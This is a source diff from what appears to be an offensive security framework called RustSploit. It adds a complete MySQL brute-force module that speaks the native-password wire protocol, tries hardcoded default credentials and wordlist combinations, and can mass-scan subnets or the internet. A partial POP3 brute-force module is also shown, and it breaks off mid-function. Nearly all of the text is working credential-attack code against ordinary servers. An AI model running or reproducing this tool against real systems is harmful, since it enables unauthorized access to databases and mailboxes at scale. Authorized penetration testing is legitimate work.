pub mod postgres_bruteforce;
|
||||
pub mod vnc_bruteforce;
|
||||
pub mod elasticsearch_bruteforce;
|
||||
pub mod couchdb_bruteforce;
|
||||
pub mod memcached_bruteforce;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,729 @@
|
||||
//! MySQL Brute Force Module
|
||||
//!
|
||||
//! Raw TCP wire-protocol implementation of MySQL native password authentication.
|
||||
//! Supports single-target, subnet, and mass scan modes.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Read HandshakeV10 packet (protocol version 10)
|
||||
//! 2. Extract 20-byte auth salt (scramble)
|
||||
//! 3. Compute auth_response = SHA1(password) XOR SHA1(salt + SHA1(SHA1(password)))
|
||||
//! 4. Send HandshakeResponse41 packet
|
||||
//! 5. Read OK (0x00) / ERR (0xFF) response
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use sha1::{Sha1, Digest};
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_MYSQL_PORT: u16 = 3306;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("root", ""),
|
||||
("root", "mysql"),
|
||||
("root", "password"),
|
||||
("root", "123456"),
|
||||
("admin", "admin"),
|
||||
("mysql", "mysql"),
|
||||
("root", "toor"),
|
||||
("root", "admin"),
|
||||
("admin", "password"),
|
||||
];
|
||||
|
||||
// MySQL protocol constants
|
||||
const MYSQL_PROTOCOL_V10: u8 = 10;
|
||||
const CLIENT_PROTOCOL_41: u32 = 0x0200;
|
||||
const CLIENT_SECURE_CONNECTION: u32 = 0x8000;
|
||||
const CLIENT_PLUGIN_AUTH: u32 = 0x0008_0000;
|
||||
const CHARSET_UTF8: u8 = 33; // utf8_general_ci
|
||||
const MAX_PACKET_SIZE: u32 = 16_777_216;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "MySQL Brute Force".to_string(),
|
||||
description: "Brute-force MySQL authentication using native password wire protocol. \
|
||||
Implements HandshakeV10 parsing and mysql_native_password auth over raw TCP. \
|
||||
Supports default credential testing, wordlist combo mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html"
|
||||
.to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== MySQL Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} -- Mass Scan Mode", target).yellow());
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "MySQL",
|
||||
default_port: DEFAULT_MYSQL_PORT,
|
||||
state_file: "mysql_brute_hose_state.log",
|
||||
default_output: "mysql_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
// Try common default credentials
|
||||
let creds = [
|
||||
("root", "root"),
|
||||
("root", ""),
|
||||
("root", "mysql"),
|
||||
("admin", "admin"),
|
||||
("root", "password"),
|
||||
("root", "123456"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match try_mysql_auth(&addr, user, pass).await {
|
||||
MysqlResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
MysqlResult::ConnectionError(_) => return None,
|
||||
MysqlResult::AuthFailed | MysqlResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Pass list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"mysql_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "mysql",
|
||||
source_module: "creds/generic/mysql_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_mysql_auth(&addr, &user, &pass).await {
|
||||
MysqlResult::Success => LoginResult::Success,
|
||||
MysqlResult::AuthFailed => LoginResult::AuthFailed,
|
||||
MysqlResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
MysqlResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "MySQL Port", DEFAULT_MYSQL_PORT).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "mysql_brute_results.txt").await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting MySQL brute-force on {}:{} ({} combos, {} threads)",
|
||||
target,
|
||||
port,
|
||||
combos.len(),
|
||||
concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_mysql_auth(&addr, &user, &pass).await {
|
||||
MysqlResult::Success => LoginResult::Success,
|
||||
MysqlResult::AuthFailed => LoginResult::AuthFailed,
|
||||
MysqlResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
MysqlResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "mysql",
|
||||
source_module: "creds/generic/mysql_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored MySQL responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "mysql_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# MySQL Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MySQL Wire Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum MysqlResult {
|
||||
Success,
|
||||
AuthFailed,
|
||||
ConnectionError(String),
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Read a MySQL packet: 3-byte length (LE) + 1-byte sequence + payload.
|
||||
async fn read_mysql_packet(stream: &mut TcpStream) -> Result<(u8, Vec<u8>)> {
|
||||
let mut header = [0u8; 4];
|
||||
tokio::time::timeout(Duration::from_millis(READ_TIMEOUT_MS), stream.read_exact(&mut header))
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading MySQL packet header"))?
|
||||
.map_err(|e| anyhow!("Failed to read packet header: {}", e))?;
|
||||
|
||||
let length = (header[0] as u32) | ((header[1] as u32) << 8) | ((header[2] as u32) << 16);
|
||||
let seq = header[3];
|
||||
|
||||
if length > 65_536 {
|
||||
return Err(anyhow!("MySQL packet too large: {} bytes", length));
|
||||
}
|
||||
|
||||
let mut payload = vec![0u8; length as usize];
|
||||
tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut payload),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Timeout reading MySQL packet payload"))?
|
||||
.map_err(|e| anyhow!("Failed to read packet payload: {}", e))?;
|
||||
|
||||
Ok((seq, payload))
|
||||
}
|
||||
|
||||
/// Write a MySQL packet with the given sequence number.
|
||||
async fn write_mysql_packet(stream: &mut TcpStream, seq: u8, payload: &[u8]) -> Result<()> {
|
||||
let len = payload.len() as u32;
|
||||
let header = [
|
||||
(len & 0xFF) as u8,
|
||||
((len >> 8) & 0xFF) as u8,
|
||||
((len >> 16) & 0xFF) as u8,
|
||||
seq,
|
||||
];
|
||||
stream
|
||||
.write_all(&header)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to write packet header: {}", e))?;
|
||||
stream
|
||||
.write_all(payload)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to write packet payload: {}", e))?;
|
||||
stream
|
||||
.flush()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to flush: {}", e))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Parse the HandshakeV10 greeting to extract the 20-byte auth salt (scramble).
|
||||
fn parse_handshake_v10(payload: &[u8]) -> Result<Vec<u8>> {
|
||||
if payload.is_empty() {
|
||||
return Err(anyhow!("Empty handshake packet"));
|
||||
}
|
||||
|
||||
// Check for ERR packet (server rejected connection immediately)
|
||||
if payload[0] == 0xFF {
|
||||
let msg = if payload.len() > 3 {
|
||||
String::from_utf8_lossy(&payload[3..]).to_string()
|
||||
} else {
|
||||
"Unknown error".to_string()
|
||||
};
|
||||
return Err(anyhow!("Server error: {}", msg));
|
||||
}
|
||||
|
||||
if payload[0] != MYSQL_PROTOCOL_V10 {
|
||||
return Err(anyhow!(
|
||||
"Unsupported MySQL protocol version: {}",
|
||||
payload[0]
|
||||
));
|
||||
}
|
||||
|
||||
// Skip protocol version (1 byte)
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip server version string (null-terminated)
|
||||
while pos < payload.len() && payload[pos] != 0 {
|
||||
pos += 1;
|
||||
}
|
||||
pos += 1; // skip null terminator
|
||||
|
||||
if pos + 4 > payload.len() {
|
||||
return Err(anyhow!("Handshake too short (no thread id)"));
|
||||
}
|
||||
|
||||
// Skip thread id (4 bytes)
|
||||
pos += 4;
|
||||
|
||||
// auth_plugin_data_part_1: 8 bytes
|
||||
if pos + 8 > payload.len() {
|
||||
return Err(anyhow!("Handshake too short (no salt part 1)"));
|
||||
}
|
||||
let salt_part1 = &payload[pos..pos + 8];
|
||||
pos += 8;
|
||||
|
||||
// Skip filler (1 byte)
|
||||
pos += 1;
|
||||
|
||||
// Skip capability_flags_lower (2 bytes)
|
||||
if pos + 2 > payload.len() {
|
||||
// Some very old servers may stop here; we only have 8-byte salt
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 2;
|
||||
|
||||
// Skip character_set (1 byte), status_flags (2 bytes), capability_flags_upper (2 bytes)
|
||||
if pos + 5 > payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 5;
|
||||
|
||||
// auth_plugin_data_len or 0 (1 byte)
|
||||
if pos >= payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
let auth_data_len = payload[pos] as usize;
|
||||
pos += 1;
|
||||
|
||||
// Skip reserved (10 bytes)
|
||||
if pos + 10 > payload.len() {
|
||||
return Ok(salt_part1.to_vec());
|
||||
}
|
||||
pos += 10;
|
||||
|
||||
// auth_plugin_data_part_2: max(13, auth_data_len - 8) bytes
|
||||
// We need at least 12 more bytes to get the full 20-byte scramble
|
||||
let part2_len = if auth_data_len > 8 {
|
||||
(auth_data_len - 8).max(12)
|
||||
} else {
|
||||
12
|
||||
};
|
||||
|
||||
let available = payload.len().saturating_sub(pos);
|
||||
let take = part2_len.min(available);
|
||||
let salt_part2 = &payload[pos..pos + take];
|
||||
|
||||
// Combine: salt_part1 (8) + salt_part2 (up to 12, strip trailing null)
|
||||
let mut salt = salt_part1.to_vec();
|
||||
for &b in salt_part2 {
|
||||
if b == 0 {
|
||||
break;
|
||||
}
|
||||
salt.push(b);
|
||||
}
|
||||
|
||||
Ok(salt)
|
||||
}
|
||||
|
||||
/// Compute mysql_native_password auth response.
|
||||
///
|
||||
/// auth_response = SHA1(password) XOR SHA1(scramble + SHA1(SHA1(password)))
|
||||
///
|
||||
/// For empty passwords, returns an empty Vec (no auth data).
|
||||
fn compute_native_auth(password: &str, scramble: &[u8]) -> Vec<u8> {
|
||||
if password.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
|
||||
// SHA1(password)
|
||||
let sha1_pass = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(password.as_bytes());
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// SHA1(SHA1(password))
|
||||
let sha1_sha1_pass = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(&sha1_pass);
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// SHA1(scramble + SHA1(SHA1(password)))
|
||||
let sha1_scramble_double = {
|
||||
let mut h = Sha1::new();
|
||||
h.update(scramble);
|
||||
h.update(&sha1_sha1_pass);
|
||||
h.finalize()
|
||||
};
|
||||
|
||||
// XOR: SHA1(password) ^ SHA1(scramble + SHA1(SHA1(password)))
|
||||
sha1_pass
|
||||
.iter()
|
||||
.zip(sha1_scramble_double.iter())
|
||||
.map(|(a, b)| a ^ b)
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Build the HandshakeResponse41 packet payload.
|
||||
fn build_handshake_response(username: &str, auth_response: &[u8], database: &str) -> Vec<u8> {
|
||||
let mut buf = Vec::with_capacity(128);
|
||||
|
||||
// client_flag (4 bytes)
|
||||
let flags: u32 = CLIENT_PROTOCOL_41 | CLIENT_SECURE_CONNECTION | CLIENT_PLUGIN_AUTH;
|
||||
buf.extend_from_slice(&flags.to_le_bytes());
|
||||
|
||||
// max_packet_size (4 bytes)
|
||||
buf.extend_from_slice(&MAX_PACKET_SIZE.to_le_bytes());
|
||||
|
||||
// character_set (1 byte)
|
||||
buf.push(CHARSET_UTF8);
|
||||
|
||||
// reserved (23 zero bytes)
|
||||
buf.extend_from_slice(&[0u8; 23]);
|
||||
|
||||
// username (null-terminated)
|
||||
buf.extend_from_slice(username.as_bytes());
|
||||
buf.push(0);
|
||||
|
||||
// auth_response length-encoded
|
||||
if auth_response.is_empty() {
|
||||
buf.push(0);
|
||||
} else {
|
||||
buf.push(auth_response.len() as u8);
|
||||
buf.extend_from_slice(auth_response);
|
||||
}
|
||||
|
||||
// database (null-terminated) -- omit for now; not all servers require it
|
||||
if !database.is_empty() {
|
||||
buf.extend_from_slice(database.as_bytes());
|
||||
buf.push(0);
|
||||
}
|
||||
|
||||
// auth plugin name (null-terminated)
|
||||
buf.extend_from_slice(b"mysql_native_password");
|
||||
buf.push(0);
|
||||
|
||||
buf
|
||||
}
|
||||
|
||||
/// Attempt MySQL authentication against a target address.
|
||||
async fn try_mysql_auth(addr: &str, username: &str, password: &str) -> MysqlResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match tokio::time::timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return MysqlResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
Err(_) => return MysqlResult::ConnectionError("Connection timeout".to_string()),
|
||||
};
|
||||
|
||||
// Read server greeting (HandshakeV10)
|
||||
let (_seq, greeting) = match read_mysql_packet(&mut stream).await {
|
||||
Ok(p) => p,
|
||||
Err(e) => return MysqlResult::ProtocolError(format!("Failed to read greeting: {}", e)),
|
||||
};
|
||||
|
||||
// Parse the greeting to extract the scramble (salt)
|
||||
let scramble = match parse_handshake_v10(&greeting) {
|
||||
Ok(s) => s,
|
||||
Err(e) => return MysqlResult::ProtocolError(format!("Handshake parse error: {}", e)),
|
||||
};
|
||||
|
||||
// Compute auth response
|
||||
let auth_response = compute_native_auth(password, &scramble);
|
||||
|
||||
// Build and send HandshakeResponse41
|
||||
let response_payload = build_handshake_response(username, &auth_response, "");
|
||||
if let Err(e) = write_mysql_packet(&mut stream, 1, &response_payload).await {
|
||||
return MysqlResult::ConnectionError(format!("Failed to send auth: {}", e));
|
||||
}
|
||||
|
||||
// Read server response
|
||||
let (_seq, response) = match read_mysql_packet(&mut stream).await {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
return MysqlResult::ConnectionError(format!("Failed to read auth response: {}", e))
|
||||
}
|
||||
};
|
||||
|
||||
if response.is_empty() {
|
||||
return MysqlResult::ProtocolError("Empty auth response from server".to_string());
|
||||
}
|
||||
|
||||
match response[0] {
|
||||
0x00 => MysqlResult::Success, // OK packet
|
||||
0xFE => MysqlResult::AuthFailed, // EOF / auth switch request (treat as failure)
|
||||
0xFF => {
|
||||
// ERR packet: skip error code (2 bytes) + sql_state marker + state (5 bytes)
|
||||
let msg = if response.len() > 9 {
|
||||
String::from_utf8_lossy(&response[9..]).to_string()
|
||||
} else if response.len() > 3 {
|
||||
String::from_utf8_lossy(&response[3..]).to_string()
|
||||
} else {
|
||||
"Unknown error".to_string()
|
||||
};
|
||||
// MySQL error 1045 = Access denied
|
||||
if msg.contains("Access denied") || (response.len() > 2 && response[1] == 0x15 && response[2] == 0x04) {
|
||||
MysqlResult::AuthFailed
|
||||
} else {
|
||||
MysqlResult::ProtocolError(msg)
|
||||
}
|
||||
}
|
||||
other => MysqlResult::ProtocolError(format!("Unexpected response type: 0x{:02X}", other)),
|
||||
}
|
||||
}
|
||||
@@ -2,315 +2,391 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
load_lines,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "POP3 Brute Force".to_string(),
|
||||
description: "Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
use_ssl: bool,
|
||||
connection_timeout: u64,
|
||||
retry_on_error: bool,
|
||||
max_retries: usize,
|
||||
output_file: String,
|
||||
delay_ms: u64,
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum Pop3ErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl Pop3ErrorType {
|
||||
/// Classify a POP3 error from its message string for smarter retry decisions.
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("-err")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("bad password")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this error type is worth retrying.
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Pop3Error {
|
||||
error_type: Pop3ErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for Pop3Error {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for Pop3Error {}
|
||||
|
||||
impl Pop3Error {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
